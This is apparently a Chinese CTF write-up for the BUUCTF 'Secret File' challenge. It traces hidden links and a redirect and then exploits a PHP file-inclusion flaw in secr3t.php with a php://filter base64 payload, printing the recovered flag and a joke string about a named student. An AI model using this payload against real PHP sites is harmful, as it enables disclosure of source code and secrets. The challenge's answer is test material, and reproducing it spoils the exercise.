原创 · 2024年12月22日 1

[极客大挑战 2019] Secret File 题解

前言:题目来源BUUCTF,非常好玩。

目录:

  1. 题目
  2. 解析

一、题目

靶机主页为一漆黑网页:

出题人不知道让哪个倒霉舍友实名上网了

其代码如下:

HTML
<!DOCTYPE html>
<html>
<style type="text/css" >
#master {
    position:absolute;
    left:44%;
    bottom:0;
    text-align :center;
        }
        p,h1 {
                cursor: default;
        }
</style>
        <head>
                <meta charset="utf-8">
                <title>蒋璐源的秘密</title>
        </head>
        <body style="background-color:black;"><br><br><br><br><br><br>
            <h1 style="font-family:verdana;color:red;text-align:center;">你想知道蒋璐源的秘密么?</h1><br><br><br>
            <p style="font-family:arial;color:red;font-size:20px;text-align:center;">想要的话可以给你,去找吧!把一切都放在那里了!</p>
            <a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
            <div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
        </body>
</html>

二、解析

Ctrl+A全选网页,先看看有没有藏起来的信息:

当然有,在页面源代码中,注意到此链接指向的是一文件 Archive_room.php 。现在我们访问这个名叫”档案室“的页面,看看有无线索:

这次就没有隐藏信息了
HTML
<!DOCTYPE html>
<html>
<style type="text/css" >
#master	{
    position:absolute;
    left:44%;
    bottom:20;
    text-align :center;
    	}
        p,h1 {
                cursor: default;
        }
</style>
	<head>
		<meta charset="utf-8">
		<title>绝密档案</title>
	</head>
	<body style="background-color:black;"><br><br><br><br><br><br>
		<h1 style="font-family:verdana;color:red;text-align:center;">
		我把他们都放在这里了,去看看吧		<br>
		</h1><br><br><br><br><br><br>
		<a id="master" href="./action.php" style="background-color:red;height:50px;width:200px;color:#FFFFFF;left:44%;">
			<font size=6>SECRET</font>
		</a>
	<div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
	</body>
</html>

就”档案室“代码看来,红色大按钮指向了一个页面 action.php ,现在我们点击此按钮,出现下面这个画面:

此页面链接为http://靶机地址/end.php

此时我们就注意到一个异常情况:红色大按钮明明指向了页面 action.php ,我现在怎么被重定向到了 end.php ?到这里我们基本上确定,题目要我们绕过这个重定向,从而在 action.php 中获取这个被保护的信息。

现在我们打开Wireshark开始抓包,然后回到浏览器中重新点击一次红色大按钮,Wireshark成功抓到请求 action.php 的包和服务器的响应包:

请求包(下)与响应包(上)

响应包中有个值得注意的信息。服务器似乎在重定向之前发来了一段 HTTP 分块传输内容,是一段 63 字节的十六进制数据(很可能是 action.php 中的 HTML 代码),Wireshark帮我们自动拼接好了:

我们将这段十六进制数据解码,出现如下代码:

HTML
<!DOCTYPE html>
<html>
<!--
    secr3t.php        
-->
</html>

这就是出题人藏起来的 action.php 页面。现在我们马上访问注释中提到的这个 secr3t.php ,页面上显示了一段PHP代码:

PHP
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

现在逐行分析这段代码的意义:

PHP
highlight_file(__FILE__);

自打印,没什么好说的;

PHP
error_reporting(0);

禁用报错,防止考生分析错误码,没啥用;

PHP
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
    echo "Oh no!";
    exit();
}

接受GET请求,并进行一个检测:如果请求包含”../“等”非法输入“,secr3t.php 就会输出”Oh no“。这似乎用来防止考生使用相对路径获取到目标文件。

PHP
include($file);

文件包含漏洞。大概率靠它获取flag;

代码还包含一个注释,提示我们目标文件是 flag.php 。这个注释有点让人匪夷所思,因为出题人完全没有禁止我们直接访问 flag.php ,前面的代码似乎白读了。现在我们直接访问 flag.php ,其内容如下:

同样没有任何隐藏内容,至少从html代码上看是这样

这让我突然想起,直接访问 flag.php 时,浏览器自动将其渲染为网页,也就是说其中的某些信息(比如php代码)我们是看不到的。这说明目标信息在php代码中,我们还是要想办法获取到这个页面的源代码。

现在我们尝试通过前面的文件包含漏洞获取文件。

既然目标文件就在此路径下,我们先直接包含此文件:

http://靶机地址/secr3t.php?file=flag.php

前面提到,直接访问 flag.php 时,浏览器自动将其渲染为网页,也就是说其中的某些信息(比如php代码)我们是看不到的。而我们现在直接请求此文件和直接访问没有任何区别,这导致我们还是看不见秘密信息。

现在我们改动一下URL,使服务器输出经过base64加密的目标文件,而不是输出为网页。构造URL如下:

http://靶机地址/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

得到输出:

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7ZDAyYzE4ZWYtMDRmMy00YTc3LTkxYTUtMjUwODRjZjU5MWU1fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

解码得到真实的 flag.php 代码:

HTML
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>
    <body style="background-color:black;"><br><br><br><br><br><br>
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{d02c18ef-04f3-4a77-91a5-25084cf591e5}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>
</html>

HTML代码中有一段突兀的PHP代码,这就是我们要找的信息。

代码中包含了两个变量,其中 $flag 是本题的答案,而 $secret 就是出题人的那碟醋:”蒋璐源的秘密“——内有一段leet语,意为”蒋璐源想要一个女朋友“。

2019年至今已有五年,希望蒋璐源同学梦想成真。